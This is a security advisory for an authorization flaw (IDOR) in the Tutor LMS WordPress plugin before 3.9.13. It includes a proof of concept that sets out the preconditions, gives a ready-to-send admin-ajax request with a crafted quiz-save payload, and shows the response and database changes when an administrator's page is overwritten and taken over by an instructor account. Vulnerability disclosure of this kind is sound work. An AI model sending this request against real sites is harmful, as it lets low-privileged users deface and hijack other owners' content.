Tutor LMS < 3.9.13 – Instructor+ Arbitrary Post Overwrite via IDOR | CVE 2026-12274

Description

The plugin does not verify that the requesting user is allowed to edit a target post before overwriting it in one of its content-builder save handlers, authorizing the request only against an unrelated identifier, allowing authenticated users with instructor-level access to overwrite and take over any post or page on the site, including those owned by administrators.

Proof of Concept

Preconditions: one approved Tutor Instructor account (`instr_a`, uid 2) with role `tutor_instructor`. Target = an administrator-owned page (uid 1). The attacker logs in and obtains the `_tutor_nonce` from any Tutor admin/dashboard page (it is localized for every logged-in user).

### Negative control (run as the attacker before exploiting)
```
current_user_can( 2, 'manage_options' )            => false   (not an admin)
current_user_can( 2, 'edit_others_posts' )         => false
current_user_can( 2, 'edit_others_pages' )         => false
current_user_can( 2, 'edit_post', <admin page id> )=> false   (no right to edit the target)
```
DB before: `ID=<page>  post_author=1  post_type=page  post_title="..."`

### Exploit request
```http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.example
Cookie: <attacker instr_a auth cookies>
Content-Type: application/x-www-form-urlencoded

action=tutor_quiz_builder_save&_tutor_nonce=<NONCE>&course_id=0&topic_id=0&payload=%7B%22ID%22%3A<ADMIN_PAGE_ID>%2C%22post_title%22%3A%22hijacked+without+edit+cap%22%2C%22quiz_option%22%3A%7B%22k%22%3A%22v%22%7D%2C%22questions%22%3A%5B%7B%22_data_status%22%3A%22new%22%2C%22question_title%22%3A%22q%22%2C%22question_type%22%3A%22true_false%22%2C%22question_mark%22%3A1%2C%22question_settings%22%3A%7B%22x%22%3A%22y%22%7D%7D%5D%7D
```
`payload` (decoded): `{"ID":<ADMIN_PAGE_ID>,"post_title":"hijacked without edit cap","quiz_option":{"k":"v"},"questions":[{"_data_status":"new","question_title":"q","question_type":"true_false","question_mark":1,"question_settings":{"x":"y"}}]}`

### Response (proves impact)
```http
HTTP/1.1 200 OK
{"status_code":200,"message":"Quiz saved successfully","data":{"ID":<ADMIN_PAGE_ID>,"post_author":"2", ...}}
```
DB after: `ID=<page>  post_author=2  post_type=tutor_quiz  post_title="hijacked without edit cap"`

The administrator's page was overwritten, its authorship reassigned to the attacker (uid 2), and its post type changed, despite the attacker having `current_user_can('edit_post', <page>) === false`. Pointing `payload['ID']` at any other post/page (e.g. the site's checkout, dashboard, or login page) likewise overwrites and breaks it.